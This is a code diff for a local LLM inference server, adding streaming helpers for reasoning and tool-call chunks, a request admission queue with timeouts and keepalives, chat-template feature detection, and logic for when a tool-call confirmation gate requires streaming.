+        if not choices and isinstance(data.get("usage"), dict):
+            return "usage"
+        for choice in choices:
+            if isinstance(choice, dict) and choice.get("finish_reason") is not None:
+                return "finish"
+    elif isinstance(data.get("usage"), dict):
+        return "usage"
+    return None
+
+
 def _openai_stream_usage_chunk(
     payload, completion_id, created, model_name, stream_usage, stream_timings
 ):
@@ -583,6 +830,21 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str:
     )
 
 
+def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str:
+    """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block).
+
+    Carries ``content: ""`` alongside, like the GGUF and passthrough paths, so
+    strict OpenAI adapters don't drop the reasoning-only delta.
+    """
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(content = "", reasoning_content = text),
+        finish_reason = None,
+    )
+
+
 def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     """Terminal stop chunk (empty delta) carrying the finish reason."""
     return _chat_chunk_sse(
@@ -594,6 +856,66 @@ def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     )
 
 
+def _chat_tool_calls_chunk(completion_id, created, model_name, tool_calls) -> str:
+    """Delta chunk carrying OpenAI tool-call deltas (sibling of ``_chat_content_chunk``)."""
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(tool_calls = tool_calls),
+        finish_reason = None,
+    )
+
+
+def _sf_heal_events_to_sse(
+    events,
+    completion_id,
+    created,
+    model_name,
+    state,
+    parallel_tool_calls,
+    monitor_id = None,
+):
+    """Serialize ``StreamToolCallHealer`` events into chat SSE lines.
+
+    ``state["idx"]`` tracks the call index across ``feed``/``finalize``;
+    ``parallel_tool_calls is False`` caps promotion to one call (GGUF parity).
+    The monitor is fed from the same events the client receives, never the
+    healed-away markup."""
+    lines = []
+    for kind, value in events:
+        if kind == "text":
+            if value:
+                lines.append(_chat_content_chunk(completion_id, created, model_name, value))
+                api_monitor.append_reply(monitor_id, value)
+            continue
+        if parallel_tool_calls is False and state["idx"] >= 1:
+            continue
+        lines.append(
+            _chat_tool_calls_chunk(
+                completion_id,
+                created,
+                model_name,
+                [
+                    {
+                        "index": state["idx"],
+                        "id": value["id"],
+                        "type": "function",
+                        "function": value["function"],
+                    }
+                ],
+            )
+        )
+        _fn = value.get("function") or {}
+        api_monitor.append_reply(
+            monitor_id,
+            ("[tool_calls] " if state["idx"] == 0 else "; ")
+            + f"{_fn.get('name', '')}({_fn.get('arguments', '')})",
+        )
+        state["idx"] += 1
+    return lines
+
+
 def _rewrite_cmpl_id(raw: bytes) -> bytes:
     """Rewrite llama-server's chat-style ``chatcmpl-`` ids to the ``cmpl-``
     prefix OpenAI's legacy /v1/completions use. Anchored on the ``"id":`` key
@@ -686,6 +1008,7 @@ try:
     from core.inference.llama_server_args import (
         _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        extra_args_disable_mmproj,
         parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
@@ -723,6 +1046,7 @@ except ImportError:
     from core.inference.llama_server_args import (
         _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        extra_args_disable_mmproj,
         parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
@@ -753,8 +1077,11 @@ def _llama_streaming_generation_timeout() -> httpx.Timeout:
 
 
 def _set_stream_response_read_timeout(
-    response: httpx.Response, read_timeout_s: float = _DEFAULT_STREAM_STALL_TIMEOUT_S
+    response: httpx.Response, read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S
 ) -> None:
+    # ``read_timeout_s = None`` clears httpx's read timeout (wait indefinitely),
+    # used when the stall guard is disabled so a stale first-token deadline
+    # can't keep timing out post-first-chunk gaps.
     try:
         timeout_ext = response.request.extensions.get("timeout")
         if isinstance(timeout_ext, dict):
@@ -764,6 +1091,300 @@ def _set_stream_response_read_timeout(
 
 
 _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
+_OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1
+_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S = 5.0
+_OPENAI_PASSTHROUGH_SSE_KEEPALIVE = ": keep-alive\n\n"
+_OPENAI_LLAMA_ADMISSION_POLL_S = 0.25
+# Idle window before a local tool-loop stream emits an SSE keepalive comment
+# (e.g. prompt prefill between tool iterations). A second layer atop the
+# tool_stream_exec heartbeats, keeping proxies (Cloudflare drops idle at ~100s).
+_LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S = 15.0
+
+
+def _openai_llama_admission_capacity(request: Optional[Request], llama_backend = None) -> int:
+    """Serving slots available for one local llama-server backend.
+
+    The loaded backend is the source of truth because it may have reduced
+    ``--parallel`` at load time to keep the model on GPU. The app state is a
+    launch-intent fallback for tests and for the short window before a backend
+    reports its committed runtime slots.
+    """
+    slots = _positive_int_or_none(getattr(llama_backend, "effective_parallel_slots", None))
+    if slots is not None:
+        return slots
+    try:
+        slots = getattr(request.app.state, "llama_parallel_slots", None)
+    except Exception:
+        slots = None
+    return _positive_int_or_none(slots) or 1
+
+
+def _openai_llama_admission_reserve(
+    *, request: Optional[Request], llama_backend
+) -> tuple[LlamaAdmissionReservation, LlamaAdmissionConfig]:
+    config = llama_admission_config_from_env()
+    capacity = _openai_llama_admission_capacity(request, llama_backend)
+    key = str(getattr(llama_backend, "base_url", "llama-server"))
+    reservation = get_llama_admission_queue(key).reserve(
+        capacity = capacity,
+        config = config,
+    )
+    return reservation, config
+
+
+def _openai_admission_request_path(request: Optional[Request]) -> Optional[str]:
+    try:
+        return str(request.url.path) if request is not None else None
+    except Exception:
+        return None
+
+
+def _openai_admission_log(
+    event: str,
+    reservation: Optional[LlamaAdmissionReservation] = None,
+    *,
+    snapshot = None,
+    request: Optional[Request],
+    mode: str,
+    wait_started_at: Optional[float] = None,
+    completion_id: Optional[str] = None,
+    level: str = "debug",
+) -> None:
+    if snapshot is None and reservation is not None:
+        snapshot = reservation.snapshot_now()
+    wait_ms = None
+    if wait_started_at is not None:
+        wait_ms = int(max(0.0, time.monotonic() - wait_started_at) * 1000)
+    log = getattr(logger, level, logger.debug)
+    log(
+        "openai admission %s: mode=%s path=%s completion_id=%s capacity=%s active=%s queued=%s wait_ms=%s",
+        event,
+        mode,
+        _openai_admission_request_path(request),
+        completion_id,
+        getattr(snapshot, "capacity", None),
+        getattr(snapshot, "active", None),
+        getattr(snapshot, "queued", None),
+        wait_ms,
+    )
+
+
+def _openai_admission_error_body(exc: Exception, *, status_code: int) -> dict:
+    snapshot = getattr(exc, "snapshot", None)
+    message = str(exc)
+    if snapshot is not None:
+        message = (
+            f"{message} "
+            f"(active={snapshot.active}, queued={snapshot.queued}, capacity={snapshot.capacity})"
+        )
+    return openai_error_body(message, status = status_code)
+
+
+def _openai_admission_http_exception(exc: Exception, *, status_code: int) -> HTTPException:
+    return HTTPException(
+        status_code = status_code,
+        detail = _openai_admission_error_body(exc, status_code = status_code),
+    )
+
+
+def _openai_admission_timeout_error(
+    reservation: LlamaAdmissionReservation,
+) -> LlamaAdmissionTimeout:
+    return LlamaAdmissionTimeout(
+        "Timed out waiting for an available local llama-server generation slot",
+        snapshot = reservation.snapshot_now(),
+    )
+
+
+def _openai_admission_cancelled_error(
+    reservation: LlamaAdmissionReservation,
+) -> LlamaAdmissionCancelled:
+    return LlamaAdmissionCancelled(
+        "Client disconnected before an upstream llama-server generation slot was available",
+        snapshot = reservation.snapshot_now(),
+    )
+
+
+async def _raise_if_openai_admission_cancelled(
+    reservation: LlamaAdmissionReservation, *, request: Optional[Request], cancel_event
+) -> None:
+    if reservation.is_cancelled:
+        raise _openai_admission_cancelled_error(reservation)
+    if await _preheader_cancelled(cancel_event, request):
+        reservation.cancel()
+        raise _openai_admission_cancelled_error(reservation)
+
+
+async def _wait_for_openai_admission_non_streaming(
+    reservation: LlamaAdmissionReservation,
+    config: LlamaAdmissionConfig,
+    *,
+    request: Optional[Request],
+    cancel_event,
+) -> LlamaAdmissionLease:
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        try:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        except asyncio.CancelledError:
+            lease.release()
+            raise
+        except LlamaAdmissionCancelled:
+            lease.release()
+            raise
+        return lease
+    await _raise_if_openai_admission_cancelled(
+        reservation,
+        request = request,
+        cancel_event = cancel_event,
+    )
+    deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s
+    try:
+        while True:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            lease = reservation.lease_nowait()
+            if lease is not None:
+                try:
+                    await _raise_if_openai_admission_cancelled(
+                        reservation,
+                        request = request,
+                        cancel_event = cancel_event,
+                    )
+                except asyncio.CancelledError:
+                    lease.release()
+                    raise
+                except LlamaAdmissionCancelled:
+                    lease.release()
+                    raise
+                return lease
+            wait_s = _OPENAI_LLAMA_ADMISSION_POLL_S
+            if deadline is not None:
+                remaining_s = deadline - time.monotonic()
+                if remaining_s <= 0:
+                    reservation.cancel()
+                    raise _openai_admission_timeout_error(reservation)
+                wait_s = min(wait_s, max(remaining_s, 0.001))
+            try:
+                lease = await reservation.wait(wait_s)
+            except asyncio.TimeoutError:
+                continue
+            if lease is not None:
+                return lease
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+    except asyncio.CancelledError:
+        reservation.cancel()
+        raise
+
+
+async def _openai_admission_wait_stream_chunks(
+    reservation: LlamaAdmissionReservation,
+    config: LlamaAdmissionConfig,
+    *,
+    request: Optional[Request],
+    cancel_event,
+):
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        yield lease
+        return
+
+    await _raise_if_openai_admission_cancelled(
+        reservation,
+        request = request,
+        cancel_event = cancel_event,
+    )
+    deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s
+    keepalive_interval_s = max(0.001, config.keepalive_interval_s)
+    next_keepalive_at = time.monotonic() + keepalive_interval_s
+    try:
+        while True:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            lease = reservation.lease_nowait()
+            if lease is not None:
+                yield lease
+                return
+
+            now = time.monotonic()
+            wait_s = min(_OPENAI_LLAMA_ADMISSION_POLL_S, max(next_keepalive_at - now, 0.001))
+            if deadline is not None:
+                remaining_s = deadline - now
+                if remaining_s <= 0:
+                    reservation.cancel()
+                    raise _openai_admission_timeout_error(reservation)
+                wait_s = min(wait_s, max(remaining_s, 0.001))
+            try:
+                lease = await reservation.wait(wait_s)
+            except asyncio.TimeoutError:
+                lease = None
+            if lease is not None:
+                yield lease
+                return
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            now = time.monotonic()
+            if now >= next_keepalive_at:
+                next_keepalive_at = now + keepalive_interval_s
+                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+    except asyncio.CancelledError:
+        reservation.cancel()
+        raise
+
+
+async def _close_openai_admitted_stream_iterator(iterator, *, cancelled: bool) -> None:
+    if iterator is None:
+        return
+    if cancelled:
+        athrow = getattr(iterator, "athrow", None)
+        if athrow is not None:
+            try:
+                await athrow(asyncio.CancelledError())
+            except (asyncio.CancelledError, StopAsyncIteration, RuntimeError):
+                return
+    aclose = getattr(iterator, "aclose", None)
+    if aclose is not None:
+        await aclose()
+
+
+def _openai_compat_stream_stall_timeout():
+    """Max silent gap after an OpenAI passthrough stream has produced data.
+
+    If the socket goes silent after valid SSE data, this bounds how long the
+    client is kept open. Defaults to the backend-wide stall timeout so this
+    path stalls out like every sibling stream; set the env var to tighten it
+    for local serving, or to 0 to disable the guard.
+    """
+    return _positive_float_env(
+        _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
+        _DEFAULT_STREAM_STALL_TIMEOUT_S,
+    )
+
+
+def _openai_passthrough_upstream_headers(*, llama_backend = None) -> dict:
+    headers = {}
+    auth_headers = getattr(llama_backend, "_auth_headers", None)
+    if isinstance(auth_headers, dict):
+        headers.update(auth_headers)
+    headers["Connection"] = "close"
+    return headers
 
 
 class _CompatSameTaskTimeout:
@@ -820,17 +1441,14 @@ class _SameTaskStreamingResponse(StreamingResponse):
         **kwargs,
     ) -> None:
         super().__init__(*args, **kwargs)
-        # Async callable invoked when the client disconnects before the body
-        # iterator is ever advanced. A generator that never started cannot run
-        # its own try/finally, so a stream that acquires resources before its
-        # first yield (the passthrough opens an upstream httpx stream eagerly)
-        # passes this to release them.
+        # Released when the client disconnects before the body iterator starts:
+        # its try/finally never runs, so a stream that opens resources before the
+        # first yield (the passthrough's upstream httpx stream) passes this.
         self._unstarted_cleanup = unstarted_cleanup
 
     async def __call__(self, scope, receive, send) -> None:
-        # Track whether the body iterator was ever advanced: send() only emits a
-        # body message after the generator yields its first chunk, so a failure
-        # before then means it never entered its try/finally.
+        # send() emits a body message only after the first chunk, so no body
+        # message means the generator never entered its try/finally.
         body_started = False
 
         async def _tracking_send(message) -> None:
@@ -841,15 +1459,11 @@ class _SameTaskStreamingResponse(StreamingResponse):
 
         try:
             await self.stream_response(_tracking_send)
-        except OSError:
-            # Client disconnected mid-send.
+        except OSError:  # client disconnected mid-send
             if body_started:
-                # The generator produced at least one chunk and is suspended in
-                # its try/finally. Throw CancelledError into it (not aclose's
-                # GeneratorExit) so its `except asyncio.CancelledError` handler
-                # runs and finishes any api_monitor entry; GeneratorExit would
-                # skip it and only run `finally`. Fall back to aclose() without
-                # athrow.
+                # Generator is suspended in its try/finally: throw CancelledError
+                # (not aclose's GeneratorExit) so its handler finishes the
+                # api_monitor entry. Fall back to aclose() without athrow.
                 athrow = getattr(self.body_iterator, "athrow", None)
                 if athrow is not None:
                     try:
@@ -861,16 +1475,16 @@ class _SameTaskStreamingResponse(StreamingResponse):
                     if aclose is not None:
                         await aclose()
             else:
-                # http.response.start failed before the body iterator advanced,
-                # so its try/finally never armed and aclose()/athrow() are no-ops
-                # on an unstarted generator. Release any resources acquired
-                # before the first yield via the explicit cleanup hook.
+                # Generator never started; aclose()/athrow() are no-ops on it, so
+                # release eager resources via the hook. getattr guards a response
+                # built through __new__ without __init__ (tests, pickling).
                 aclose = getattr(self.body_iterator, "aclose", None)
                 if aclose is not None:
                     await aclose()
-                if self._unstarted_cleanup is not None:
+                cleanup = getattr(self, "_unstarted_cleanup", None)
+                if cleanup is not None:
                     try:
-                        await self._unstarted_cleanup()
+                        await cleanup()
                     except Exception:
                         pass
             raise ClientDisconnect()
@@ -878,6 +1492,16 @@ class _SameTaskStreamingResponse(StreamingResponse):
             await self.background()
 
 
+def _tracked_cancel_unstarted_cleanup(tracker):
+    """unstarted_cleanup that exits ``tracker`` on a pre-start disconnect, when
+    the generator's finally (which normally exits it) never runs."""
+
+    async def _cleanup() -> None:
+        tracker.__exit__(None, None, None)
+
+    return _cleanup
+
+
 async def _aclose_stream_resources(
     *,
     watchers = (),
@@ -888,7 +1512,8 @@ async def _aclose_stream_resources(
     """Tear down an httpx streaming generator's resources in the required order:
     cancel + await each watcher task, then aclose() the byte/line iterator, the
     response, and the client. Each step swallows its own exceptions so teardown
-    always completes. See _anthropic_passthrough_stream for the ordering rationale."""
+    always completes; a close-time CancelledError is re-raised only after every
+    step has run. See _anthropic_passthrough_stream for the ordering rationale."""
     for watcher in watchers:
         if watcher is not None:
             watcher.cancel()
@@ -896,21 +1521,30 @@ async def _aclose_stream_resources(
                 await watcher
             except (asyncio.CancelledError, Exception):
                 pass
+    close_cancelled = False
     if iterator is not None:
         try:
             await iterator.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
     if resp is not None:
         try:
             await resp.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
     if client is not None:
         try:
             await client.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
+    if close_cancelled:
+        raise asyncio.CancelledError()
 
 
 async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = None) -> bool:
@@ -933,6 +1567,7 @@ async def _send_stream_with_preheader_cancel(
     req: httpx.Request,
     cancel_event = None,
     request: Optional[Request] = None,
+    mark_cancel_on_cancel: bool = True,
 ) -> Optional[httpx.Response]:
     if cancel_event is None and request is None:
         return await client.send(req, stream = True)
@@ -964,7 +1599,7 @@ async def _send_stream_with_preheader_cancel(
         await _stop_send_task()
         return None
     except asyncio.CancelledError:
-        if cancel_event is not None:
+        if mark_cancel_on_cancel and cancel_event is not None:
             cancel_event.set()
         await _stop_send_task()
         raise
@@ -983,11 +1618,19 @@ async def _aiter_llama_stream_items(
     request: Optional[Request] = None,
     first_token_deadline: Optional[float] = None,
     response: Optional[httpx.Response] = None,
-    post_first_item_read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S,
+    post_first_item_read_timeout_s: Optional[
+        Union[float, Callable[[], Optional[float]]]
+    ] = _DEFAULT_STREAM_STALL_TIMEOUT_S,
 ):
     if first_token_deadline is None:
         first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
     last_item_at: Optional[float] = None
+
+    def _post_first_timeout_s() -> Optional[float]:
+        if callable(post_first_item_read_timeout_s):
+            return post_first_item_read_timeout_s()
+        return post_first_item_read_timeout_s
+
     while True:
         if cancel_event is not None and cancel_event.is_set():
             return
@@ -1008,15 +1651,14 @@ async def _aiter_llama_stream_items(
                 async with _same_task_timeout(remaining_s):
                     item = await async_iter.__anext__()
             else:
+                timeout_s = _post_first_timeout_s()
                 if (
                     request is not None
                     and response is not None
-                    and post_first_item_read_timeout_s is not None
+                    and timeout_s is not None
                     and last_item_at is not None
                 ):
-                    stall_remaining_s = post_first_item_read_timeout_s - (
-                        time.monotonic() - last_item_at
-                    )
+                    stall_remaining_s = timeout_s - (time.monotonic() - last_item_at)
                     if stall_remaining_s <= 0:
                         raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
                     _set_stream_response_read_timeout(response, stall_remaining_s)
@@ -1033,19 +1675,16 @@ async def _aiter_llama_stream_items(
                 if now >= first_token_deadline:
                     raise
                 continue
-            if (
-                request is not None
-                and post_first_item_read_timeout_s is not None
-                and now - last_item_at < post_first_item_read_timeout_s
-            ):
+            timeout_s = _post_first_timeout_s()
+            if request is not None and timeout_s is not None and now - last_item_at < timeout_s:
                 continue
             raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
-        if (
-            last_item_at is None
-            and response is not None
-            and post_first_item_read_timeout_s is not None
-        ):
-            _set_stream_response_read_timeout(response, post_first_item_read_timeout_s)
+        if last_item_at is None and response is not None:
+            # The first-token read deadline no longer applies once a chunk has
+            # arrived: switch to the stall timeout, or clear the read timeout
+            # entirely when the stall guard is disabled (callable returns None)
+            # so a long gap can't trip the stale first-token deadline.
+            _set_stream_response_read_timeout(response, _post_first_timeout_s())
         last_item_at = time.monotonic()
         yield item
 
@@ -1070,6 +1709,9 @@ from models.inference import (
     CompletionUsage,
     ValidateModelRequest,
     ValidateModelResponse,
+    TransformersUpgradeInfo,
+    InstallLatestTransformersRequest,
+    InstallLatestTransformersResponse,
     TextContentPart,
     ImageContentPart,
     ImageUrl,
@@ -1115,6 +1757,23 @@ from core.inference.key_exchange import decrypt_api_key
 from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+from core.inference.tool_call_parser import TOOL_XML_SIGNALS as _PARSER_TOOL_SIGNALS
+from core.inference.passthrough_healing import (
+    StreamToolCallHealer,
+    heal_gate,
+    heal_openai_message,
+    heal_openai_message_events,
+    nudge_enabled,
+    nudge_messages,
+    nudge_should_retry,
+    response_has_promotable_calls,
+)
 from core.inference.providers import get_base_url
 from core.inference.external_provider import ExternalProviderClient
 from core.inference.chat_templates import resolve_effective_chat_template_override
@@ -1263,27 +1922,78 @@ async def artifact_preview_frame(allow_network: bool = False):
     )
 
 
-def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
+# Whitespace/escape-tolerant bare-JSON tool-template detector (matches pretty-printed and
+# JSON-escaped ``{"name":`` plus the ``"function"`` alias), mirroring the parser's tolerance.
+_BARE_JSON_NAME_MARKER_RE = _re.compile(r'\{\s*\\?"(?:name|function)\\?"\s*:')
+
+
+def _detect_safetensors_features(
+    backend,
+    chat_template: Optional[str],
+    tools = None,
+) -> dict:
     """Classify reasoning/tool capabilities via the GGUF classifier so flags
     match across backends. gpt-oss is overridden: Harmony routes reasoning and
     tools through tokenizer channels, not template markup."""
     model_id = getattr(backend, "active_model_name", None)
+    feature_template = chat_template
+    try:
+        from core.inference.chat_template_helpers import _selected_template_strings_from_value
+        selected_templates = _selected_template_strings_from_value(chat_template, tools)
+        if selected_templates:
+            feature_template = selected_templates[0]
+    except Exception:
+        logger.debug("safetensors_named_template_selection_failed", exc_info = True)
     flags = detect_reasoning_flags(
-        chat_template,
+        feature_template,
         model_identifier = model_id,
         log_source = "safetensors",
     )
-    # Our safetensors loop only parses <tool_call>{json}</tool_call>,
-    # <function=name>...</function>, and Gemma native <|tool_call>...<tool_call|>.
-    # Llama uses <|python_tag|>, Mistral uses [TOOL_CALLS]; advertising tools for
-    # those enables a pill the parser can't honour. GGUF is unaffected --
-    # llama-server normalises every format into structured deltas.
+    if not flags.get("supports_reasoning"):
+        try:
+            from core.inference.chat_template_helpers import (
+                detect_reasoning_channel_markers_from_template,
+            )
+
+            templates = [chat_template]
+            models = getattr(backend, "models", None)
+            model_info = (
+                models.get(model_id, {})
+                if isinstance(models, dict) and model_id is not None
+                else {}
+            )
+            if isinstance(model_info, dict):
+                templates.extend(
+                    (
+                        model_info.get("native_chat_template"),
+                        (model_info.get("chat_template_info") or {}).get("template"),
+                    )
+                )
+            if any(
+                detect_reasoning_channel_markers_from_template(template, tools = tools) is not None
+                for template in templates
+            ):
+                flags["supports_reasoning"] = True
+                flags["reasoning_always_on"] = True
+                logger.info("safetensors: model always reasons (native channel markers)")
+        except Exception:
+            logger.debug("safetensors_native_reasoning_marker_check_failed", exc_info = True)
+    # Markers any supported parser recognises (template advertises tools but
+    # uses none -> drop the pill). Reuse the parser's own signal list so this
+    # gate never drifts (a hand-maintained copy lost the DeepSeek variants);
+    # ``<arg_key>`` is GLM's unique signal, absent from the shared set. The
+    # bare-JSON ``{"name":`` form is matched below with the whitespace/escape-
+    # tolerant ``_BARE_JSON_NAME_MARKER_RE`` so pretty-printed or escaped
+    # templates are not mis-classified as tool-less.
+    _PARSER_MARKERS = (
+        *_PARSER_TOOL_SIGNALS,
+        "<arg_key>",
+    )
     if (
         flags.get("supports_tools")
-        and chat_template
-        and "<tool_call>" not in chat_template
-        and "<function=" not in chat_template
-        and "<|tool_call>" not in chat_template
+        and isinstance(feature_template, str)
+        and not any(m in feature_template for m in _PARSER_MARKERS)
+        and not _BARE_JSON_NAME_MARKER_RE.search(feature_template)
     ):
         logger.info(
             "safetensors: template advertises tools but uses an "
@@ -1304,6 +2014,87 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     return flags
 
 
+def _generation_prompt_opens_think(template: Optional[str]) -> bool:
+    """True when rendering the template's generation prompt ends INSIDE an unclosed ``<think>``.
+
+    Distinguishes templates that PREFILL an open ``<think>`` in the assistant generation
+    prompt (DeepSeek-R1, QwQ, Qwen3-Thinking) -- where the model emits only the closing
+    ``</think>`` and the extractor must start in reasoning mode -- from templates that merely
+    render PAST assistant ``<think>...</think>`` history while leaving the generation prompt
+    open with no ``<think>`` (e.g. Kimi-K2-Thinking), where the model self-emits its own block
+    and the extractor must start in normal mode. Renders a single-user-message probe with the
+    same sandbox transformers uses; on any failure returns True, preserving the historical
+    always-on prefill for templates that cannot be rendered here.
+    """
+    if not template:
+        return False
+    try:
+        from jinja2.sandbox import ImmutableSandboxedEnvironment
+
+        def _raise_exception(message: str):
+            raise RuntimeError(message)
+
+        env = ImmutableSandboxedEnvironment(
+            trim_blocks = True,
+            lstrip_blocks = True,
+            extensions = ["jinja2.ext.loopcontrols"],
+        )
+        env.filters["tojson"] = lambda value, **kwargs: json.dumps(value, ensure_ascii = False)
+        env.globals["raise_exception"] = _raise_exception
+        rendered = env.from_string(template).render(
+            messages = [{"role": "user", "content": "hi"}],
+            add_generation_prompt = True,
+            bos_token = "",
+            eos_token = "",
+        )
+    except Exception:
+        return True
+    # ``<think>`` is not a substring of ``</think>`` (the ``/`` breaks it), so the last open
+    # tag sitting after the last close tag means the prompt ends inside an open block.
+    return rendered.rfind("<think>") > rendered.rfind("</think>")
+
+
+def _sf_reasoning_prefill_mode(
+    features: dict,
+    enable_thinking: Optional[bool],
+    template: Optional[str] = None,
+    reasoning_effort: Optional[str] = None,
+) -> bool:
+    """Whether a safetensors/MLX generation begins INSIDE an unclosed ``<think>``.
+
+    ``enable_thinking`` templates (Qwen3/GLM) prefill an open ``<think>`` so the model
+    emits only the closing ``</think>``, and the extractor must start in reasoning mode.
+    Gated on the STANDARD ``<think>``/``</think>`` markers: bespoke channels (gemma's
+    ``<|think|>``) never emit ``</think>`` and would swallow the answer, so they and
+    gpt-oss and thinking-disabled requests return False. ``enable_thinking`` None
+    defaults thinking ON, so a plain request still prefills.
+    """
+    if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"):
+        return False
+    tpl = template or ""
+    if "</think>" not in tpl and "<think>" not in tpl:
+        return False
+    if features.get("reasoning_always_on"):
+        # enable_thinking_effort + always-on: the effort mechanism (not the prompt shape) keeps
+        # thinking on, so always-on wins over reasoning_effort and we prefill.
+        if features.get("reasoning_style") == "enable_thinking_effort":
+            return True
+        # ``reasoning_always_on`` fires on paired ``<think>...</think>`` anywhere in the
+        # template, including markup that only renders PAST assistant history (Kimi-K2-Thinking)
+        # while the generation prompt opens none. Prefill only when the generation prompt opens
+        # one, else the extractor captures a normal answer as reasoning_content and returns blank.
+        return _generation_prompt_opens_think(tpl)
+    if not features.get("supports_reasoning"):
+        return False
+    if enable_thinking is False:
+        return False
+    # Thinking-off arrives as reasoning_effort "none" on enable_thinking_effort models; honor it
+    # so we don't prefill and capture the answer. Plain enable_thinking models ignore effort.
+    if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none":
+        return False
+    return True
+
+
 def _effective_enable_tools(payload) -> Optional[bool]:
     """Resolve `payload.enable_tools` against the process-level tool policy.
 
@@ -1316,6 +2107,73 @@ def _effective_enable_tools(payload) -> Optional[bool]:
     return policy if policy is not None else payload.enable_tools
 
 
+def _explicit_studio_tool_loop_requested(payload) -> bool:
+    """True when the request itself asks Studio to execute local tools.
+
+    Process-wide CLI policy can default Studio's tool loop on for ordinary chat,
+    but it must not steal OpenAI-compatible client tools or response_format
+    requests from the llama-server passthrough path. A policy of ``False``
+    (--disable-tools) vetoes even an explicit ``enable_tools: true`` ask.
+    """
+    from state.tool_policy import get_tool_policy
+
+    policy = get_tool_policy()
+    return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled))
+
+
+def _permission_mode_confirm(payload) -> bool:
+    """Effective confirm-gate intent for Studio's own local tool loop.
+
+    Honors the documented default that an unset permission_mode behaves as
+    "ask". An explicit confirm_tool_calls (True or False) wins; explicit
+    ask/auto always engage the gate (a non-streaming one is then rejected, since
+    it cannot prompt); off/full never prompt. An unset mode defaults to ask, but
+    that is only realizable on a streaming request, so a non-streaming unset
+    request keeps the legacy run-without-gate behavior instead of 400ing. Used
+    at the pre-switch guard and the per-backend tool paths so a forced tool loop
+    (CLI --enable-tools) with the default mode still gates streaming requests.
+    """
+    if payload.confirm_tool_calls is not None:
+        return bool(payload.confirm_tool_calls)
+    mode = getattr(payload, "permission_mode", None)
+    if mode in ("ask", "auto"):
+        return True
+    if mode in ("off", "full"):
+        return False
+    return bool(getattr(payload, "stream", False))
+
+
+def _confirm_gate_needs_stream(payload) -> bool:
+    """Whether Studio's local tool-loop confirm gate still requires stream=true.
+
+    The gate can only prompt while streaming, so a non-streaming request that will
+    prompt must 400 up front. auto ("Approve for me") only prompts for a call the
+    classifier flags, so an auto request whose confirm is derived from the mode
+    (not an explicit confirm_tool_calls=true) and whose selectable tools are all
+    always-safe (web_search / RAG) never prompts and needs no stream. ask,
+    an explicit confirm flag, MCP tools, and an unrestricted or unsafe selection
+    still require streaming.
+    """
+    if not _permission_mode_confirm(payload):
+        return False
+    if getattr(payload, "permission_mode", None) != "auto":
+        return True
+    if payload.confirm_tool_calls is True:
+        return True
+    if getattr(payload, "mcp_enabled", False):
+        return True
+    enabled = getattr(payload, "enabled_tools", None)
+    if enabled is None:
+        return True  # omitted enabled_tools resolves to ALL tools (incl. terminal/python)
+    if not enabled:
+        # An explicit empty selection runs no built-in tool (_select_request_tools
+        # skips the loop), so there is nothing to prompt and no stream is needed.
+        return False
+    from core.inference.tools import is_always_safe_tool
+
+    return not all(is_always_safe_tool(t) for t in enabled)
+
+
 # Cancel registry. Proxies (e.g. Colab) can swallow client fetch aborts so
 # is_disconnected() never fires. POST /inference/cancel looks up in-flight
 # cancel_events here by cancel_id (per-run) or session_id / completion_id
@@ -1456,6 +2314,39 @@ async def _await_disconnect_then_cancel(request, cancel_event) -> None:
         return
 
 
+def _cancelable_nonstreaming_client() -> httpx.AsyncClient:
+    return httpx.AsyncClient(
+        limits = httpx.Limits(max_connections = 1, max_keepalive_connections = 0),
+        trust_env = False,
+    )
+
+
